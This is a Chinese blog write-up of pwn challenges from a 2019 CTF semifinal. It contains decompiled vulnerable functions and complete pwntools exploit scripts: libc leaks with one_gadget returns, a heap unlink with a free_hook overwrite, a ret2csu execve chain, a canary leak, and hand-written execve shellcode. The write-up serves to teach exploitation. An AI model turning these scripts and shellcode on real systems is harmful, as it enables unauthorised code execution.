ZoE

个人站

Pwn的挖坑填坑之旅


2019国赛华南赛区半决赛 pwn部分解

2019国赛华南赛区半决赛 pwn部分解

这次比赛fix得乱七八糟,下次把插入代码的fix学会了再说,有大佬会的欢迎指点指点小弟,总体来说菜还是菜,做不出来的还是做不出来,有待提高。

本次半决赛pwn题链接:https://github.com/ZoEplA/ZoEplA.github.io/tree/master/pwn/csicn2019%20Semifinal

day1

一道简单栈溢出

分析:漏洞函数如下,非常简单,又是一道第一次泄露libc第二次跳one_gadget的题目,pwn9也是这样的题目。。

int vul()
{
  char s; // [esp+0h] [ebp-28h]

  memset(&s, 0, 0x20u);
  read(0, &s, 0x30u);
  printf("Hello, %s\n", &s);
  read(0, &s, 0x30u);
  return printf("Hello, %s\n", &s);
}

详细脚本如下:

from pwn import *
LOCAL = 1
DEBUG = 0
if DEBUG:
    context.log_level = 'debug'
if LOCAL:
    p = process('./pwn')
    libc = ELF('/lib/i386-linux-gnu/libc.so.6')
else:
    p = remote('172.29.20.115',9999)
    libc = ELF('/lib/i386-linux-gnu/libc.so.6')
main = 0x8048595
bss = 0x0804A100
leave = 0x08048561
elf = ELF("./pwn")
system_plt = elf.plt["system"]

def exp():
	payload = "A"*0x28
	pause()
	p.sendline(payload)
	p.recvuntil(p32(0x0804862a))
    	libcbase = u32(p.recv(4))-0x1b23dc
    	print("[+] libcbase = " + str(hex(libcbase)))
	one_gadget = libcbase + 0x3ac5c
	payload = "A"*0x28 + p32(0) + p32(one_gadget)
	p.sendline(payload)


exp()
p.interactive()

这道题的漏洞是一个offbynull,限制了edit只能edit两次,判断变量放在bss上,考虑如何修改绕过限制,然后show功能要bss上的一个值不为0才行,没发现其他漏洞。漏洞程序如下:

unsigned __int64 edit()
{
  _BYTE *v0; // ST10_8
  signed int v2; // [rsp+Ch] [rbp-14h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  if ( key1 == 2 )                              // 只能edit两次
    exit(0);
  puts("index:");
  v2 = read_int("index:");
  if ( v2 < 0 || v2 > 32 || !heap[v2] )
    exit(0);
  puts("content:");
  v0 = heap[v2];
  v0[read(0, heap[v2], len[v2])] = 0;           // offbynull
  ++key1;
  return __readfsqword(0x28u) ^ v3;
}

分析: 然后考的应该是unlink,直接unlink到bss,这里有要找对那个bss地址才能成功利用,有两个点:

  • 第一是要使该bss地址往后0x18的值指向heap中药unlink的那个堆块
  • 第二是,unlink控制到bss地址之后,edit堆要edit到那个key1和key2从而能够绕过程序中对edit和show的限制。

详细的unlink操作可以调试一下下面的脚本就懂了,控制完后直接打印got表泄露libc,然后改free_hook为system,直接getshell

详细脚本如下:

from pwn import *

context(os='linux',arch='amd64',aslr = 'False')#,log_level='debug')
local = 1
#log_level='debug'

if local:
	p = process("./pwn")#,env={'LD_PRELOAD':'./libc_x64.so.6'})
	elf = ELF("./pwn")
	libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
	#p = remote('192.168.210.11',11006)
	p = remote('172.29.20.112',9999)
	elf = ELF("./pwn")
	libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def new(index,size,content):
    p.recvuntil("show\n")
    p.sendline("1")
    p.recvuntil(":\n")
    p.sendline(str(index))
    p.recvuntil(":\n")
    p.sendline(str(size))
    p.recvuntil("gift: ")
    leak = p.recvuntil("\n",drop = True)
    heap = int(leak,16)
    print("[+] heap = " + str(hex(heap)))
    p.recvuntil(":\n")
    p.sendline(content)
    return heap

def delete(index):
    p.recvuntil("show\n")
    p.sendline("2")
    p.recvuntil(":\n")
    p.sendline(str(index))

def edit(index,content):
    p.recvuntil("show\n")
    p.sendline("3")
    p.recvuntil(":\n")
    p.sendline(str(index))
    p.recvuntil(":\n")
    p.send(content)

def edit2(index,content):
    p.recvuntil("show\n")
    p.sendline("3")
    p.recvuntil(":\n")
    p.sendline(str(index))
    p.recvuntil(":\n")
    p.sendline(content)

def show(index):
    p.recvuntil("show\n")
    p.sendline("4")
    p.recvuntil(":\n")
    p.sendline(str(index))

'''
b *0x400990
b *0x400A61
b *0x400B73

'''
# if (__builtin_expect (FD->bk != P || BK->fd != P, 0))	
bss=0x6021c8+0x18

f=bss-0x18
b=bss-0x10

payload = p64(f) + p64(b)
leak = new(28,0xf8,payload)
print("[+] leak = " + str(hex(leak)))
heap = leak - 0x10

new(29,0xf8,payload)
new(30,0xf8,payload)
new(31,0xf8,payload)
new(32,0xf8,payload)
new(1,0xf8,"AAA")
new(2,0xf8,"AAA")
new(10,0xf8,"/bin/sh\x00")
payload = p64(0) + p64(0xf1) + p64(f) + p64(b)
edit(32,payload.ljust(0xf0, "\x00") + p64(0xf0))
delete(1)
payload  = p64(elf.got['puts']) + p64(0x6020f0)

edit(32,payload.ljust(0xe8, "\x00")+ p64(0x100) + p32(0x100) + p32(0x100))
show(29)

puts_addr = u64(p.recvuntil('\n', drop=True)+"\x00\x00")
print "[+] puts_addr = " + str(hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
print "[+] libc_base = " + str(hex(libc_base))
system = libc_base + libc.symbols['system']

free_hook = libc_base + 0x3c67a8
one_gadget = libc_base + 0xf1147
pause()
edit(30,p64(free_hook))
edit2(2,p64(system))

delete(10)

p.interactive()

day2

short(pwn3)

分析:简单栈溢出,可以直接调用syscall,也有mov rax,0x3b;,难点在于没有把rsi和rdx置0的gadget,这里利用申请的csu()把他们置0再跳回来继续syscall。这次利用需要raed两次,因为第一次要泄露栈地址,因为我们是把/bin/sh\x00写在了栈上。

栈溢出位置:

signed __int64 vuln()
{
  signed __int64 v0; // rax
  char buf; // [rsp+0h] [rbp-10h]

  v0 = sys_read(0, &buf, 0x400uLL);
  return sys_write(1u, &buf, 0x30uLL);
}

详细exp如下:

from pwn import *
LOCAL = 1
DEBUG = 0
if DEBUG:
    context.log_level = 'debug'
if LOCAL:
    p = process('./short')#,env={'LD_PRELOAD':'./ld-2.29.so'})
    #libc = ELF('./libc-2.29.so')
else:
    p = remote("172.29.20.114",9999)
    #libc = ELF('./libc-2.29.so')
main = 0x40051D
elf = ELF("./short")
syscall = 0x0000000000400517
rax_3b = 0x00000000004004e3
pop_rdi = 0x00000000004005a3	
def csu(r12, r13, r14, r15):
	# pop rbx,rbp,r12,r13,r14,r15
	# rbx should be 0,
	# rbp should be 1,enable not to jump
	# r12 should be the function we want to call
	# rdi=edi=r15d
	# rsi=r14
	# rdx=r13
	csu_end_addr = 0x0000000040059A
	csu_front_addr = 0x0000000000400580
	payload = p64(csu_end_addr) + p64(0) + p64(1) + p64(r12) + p64(
	r13) + p64(r14) + p64(r15)
	payload += p64(csu_front_addr)
	return payload

def exp():
	offset = 16
	payload = "/bin/sh\x00" + "a"*8 + p64(main)# ret main
	#gdb.attach(p,"b *0x400519")
	#pause()
	p.sendline(payload)
	p.recvn(0x20)
	data = u64(p.recvn(8)) - 0x118#0x128
	print hex(data) # stack addr
	payload = "/bin/sh\x00" + p64(pop_rdi) + p64(rax_3b) # set rax to 0x3b
	payload += csu(data-0x18,0,0,0) # data-0x18 -> pop_rdi(csu -> call pop_rdi) and set rsi,rdx = 0
	payload += p64(pop_rdi) + p64(data-0x20) + p64(syscall) # data-0x20 -> /bin/sh\x00
	p.sendline(payload)# second read
exp()
p.interactive()

babypwn(pwn7)

分析:首先程序入口需要判断是不是admin,对判断名字做了一个简单的异或,程序段如下,简单解密得到输入aeojj即可通过。

  for ( i = 0; ; ++i )
  {
    result = i;
    if ( i >= a2 )
      break;
    v3 = (_BYTE *)std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator[](a1, i);
    *v3 ^= i;
  }

然后我们可以在下一个函数发现有栈溢出,程序如下:

unsigned __int64 sub_10DE()
{
  __int64 v0; // rax
  __int64 v1; // rax
  __int64 v2; // rax
  char buf; // [rsp+0h] [rbp-30h]
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  v0 = std::operator<<<std::char_traits<char>>(&std::cout, "do you want to get something???");
  std::ostream::operator<<(v0, &std::endl<char,std::char_traits<char>>);
  read(0, &buf, 0x28uLL);
  printf("????%s\n", &buf);
  v1 = std::operator<<<std::char_traits<char>>(&std::cout, "OK???");
  std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
  read(0, &buf, 0x29uLL);
  printf("6666%s\n", &buf);
  v2 = std::operator<<<std::char_traits<char>>(&std::cout, "I think you can do something now");
  std::ostream::operator<<(v2, &std::endl<char,std::char_traits<char>>);
  read(0, &buf, 0x40uLL);
  return __readfsqword(0x28u) ^ v5;
}

在第一次输入的时候我们只输入短一点字节数,比如说两三个,看一下栈上的布局:

0x7ffd60611c50:	0x0a42414141414141	0x00007fb8c7781fb4
0x7ffd60611c60:	0x0000000000000000	0xbf06268935332a00
0x7ffd60611c70:	0x00007ffd60611c80	0xbf06268935332a00
0x7ffd60611c80:	0x00007ffd60611c90	0x000055e17000b380

可以发现栈上偏移0x8的位置,也就是0x7ffd60611c58就是一个libc地址,第一次read泄露出来libc,第二次read泄露canary,第三次构造栈溢出直接返回到one_gadget就行了。这里libc版本经过测试是libc2.23。

详细脚本如下:

from pwn import *

context(os='linux',arch='amd64',aslr = 'False')#,log_level='debug')
local = 1
#log_level='debug'

if local:
	p = process("./babypwn")
	elf = ELF("./babypwn")
	libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else:
	p = remote('172.29.20.118',9999)
	elf = ELF("./babypwn")

p.sendline("aeojj")
pause()
p.sendline("A"*0x6 + "B")
p.recvuntil("B\n")
leak = u64(p.recv(6) + "\x00\x00")
libcbase = leak - 0x6ffb4
print("libcbase = " + str(hex(libcbase)))
pause()
p.send("B"*0x28 + "C")
p.recvuntil("C")
canary = u64("\x00" + p.recv(7))
print("canary = " + str(hex(canary)))

stack_leak = u64(p.recv(6) + "\x00\x00")
print("stack_leak = " + str(hex(stack_leak)))
one_gadget = libcbase + 0x45216
payloadA = "A"*8 + p64(leak) + p64(0) + p64(canary) + p64(stack_leak - 0x10) + p64(canary) +p64(stack_leak) + p64(one_gadget)
print(hex(len(payloadA)))
p.send(payloadA) 
p.interactive()

'''
data struct in stack
0x7ffd60611c50:	0x0a42414141414141	0x00007fb8c7781fb4
0x7ffd60611c60:	0x0000000000000000	0xbf06268935332a00
0x7ffd60611c70:	0x00007ffd60611c80	0xbf06268935332a00
0x7ffd60611c80:	0x00007ffd60611c90	0x000055e17000b380

'''

pwn9

这道题没有名字,就是叫pwn。 然后这道题主要是栈溢出,能够jmp rsp;然后没有开NX,所以考的其实就是写shellcode吧。难点在于溢出的字节不多,所以要自己写shellcode才行。

.text:08048551 hint            proc near
.text:08048551 ; __unwind {
.text:08048551                 push    ebp
.text:08048552                 mov     ebp, esp
.text:08048554                 jmp     esp
.text:08048554 hint            endp
int pwn()
{
  char s[24]; // [esp+8h] [ebp-20h]

  puts("\nHey! ^_^");
  puts("\nIt's nice to meet you");
  puts("\nDo you have anything to tell?");
  puts(">");
  fflush(stdout);
  fgets(s, 50, stdin);                          // 0x12
  puts("OK bye~");
  fflush(stdout);
  return 1;
}

利用:这里写shellcode之前先想办法把东西写到bss段,这个刚好可以发现fgets的第一个参数取值是通过ebp来取值的,而我们在返回之前可以写一次东西,我们只要返回到这个,就可以控制第一个参数为bss地址了,就可以往那里来写东西了。因为我们每次只能写50个字节,shellcode主要分两段,先控制好eax为0xb,并设置好一个寄存器为bss地址为0x0804A100,然后再jmp到这个地址上去执行该地址上的shellcode,就可以getshell了。

shellcode顺序是这样的:

   0:   bb 00 a1 04 08          mov    ebx,0x804a100
   5:   31 c0                   xor    eax,eax
   7:   6a 0b                   push   0xb
   9:   58                      pop    eax
   a:   ff e3                   jmp    ebx
12
   0:   6a 00                   push   0x0
   2:   68 2f 2f 73 68          push   0x68732f2f
   7:   68 2f 62 69 6e          push   0x6e69622f
   c:   89 e3                   mov    ebx,esp
   e:   31 c9                   xor    ecx,ecx
  10:   89 ca                   mov    edx,ecx
  12:   cd 80                   int    0x80
20

详细脚本如下:

from pwn import *
context(os='linux',arch='i386',aslr = 'False')#,log_level='debug')
local = 1
#log_level='debug'
if local:
	p = process("./pwn")#,env={'LD_PRELOAD':'./libc_x64.so.6'})
	elf = ELF("./pwn")
	#libc = ELF('./libc_x64.so.6')
else:
	p = remote("172.29.20.120",9999)
	
	pass
hint = 0x8048551
# 0x8048512 fgets one more time
def exp():
	bss = 0x0804A120
	# shellcode part 2 :  read to bss(0x804a100)
	shellcode1 = asm("push 0;push 0x68732f2f;push 0x6e69622f;mov ebx,esp;xor ecx,ecx;mov edx,ecx;int 0x80;")

	# shellcode part 1 : jmp to another shellcode
	shellcode2 = asm("mov ebx,0x804a100;xor eax,eax;push 0xb;pop eax;jmp ebx;")
	print disasm(shellcode2)
	print len(shellcode2)
	print disasm(shellcode1)
	print len(shellcode1)
	payload = "\x00"*0x20 + p32(bss) + p32(0x8048512)# control ebp = bss's addr; lea    eax,[ebp-0x20] and control the fgets addr
	payload = payload.ljust(49,"\xee")
	payload += shellcode1 # write to bss 0x0804A100
	print len(payload)
	payload = payload.ljust(81,"B")
	payload += shellcode2[0:4] + p32(hint) + shellcode2[4:] 
	# leave ret -> mov esp,ebp;pop ebp
	# hint : push ebp; mov ebp, esp;jmp  esp; -> exec shellcode2 ,and then jmp to shellcode1
	payload = payload.ljust(100,"\xff")
	p.recv()
	gdb.attach(p,"b *0x8048551\nb *0x8048526")
	p.send(payload)
	
exp()
p.interactive()
'''
0x804a100:	0x2f68006a	0x6868732f	0x6e69622f	0xc931e389
0x804a110:	0x80cdca89	0x42424242	0x42424242	0x42424242
0x804a120:	0x04a100bb	0x08048551	0x6ac03108	0xe3ff580b
0x804a130:	0x000000ff	0x00000000	0x00000000	0x00000000
'''

打赏一个呗

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码支持
扫码打赏,你说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦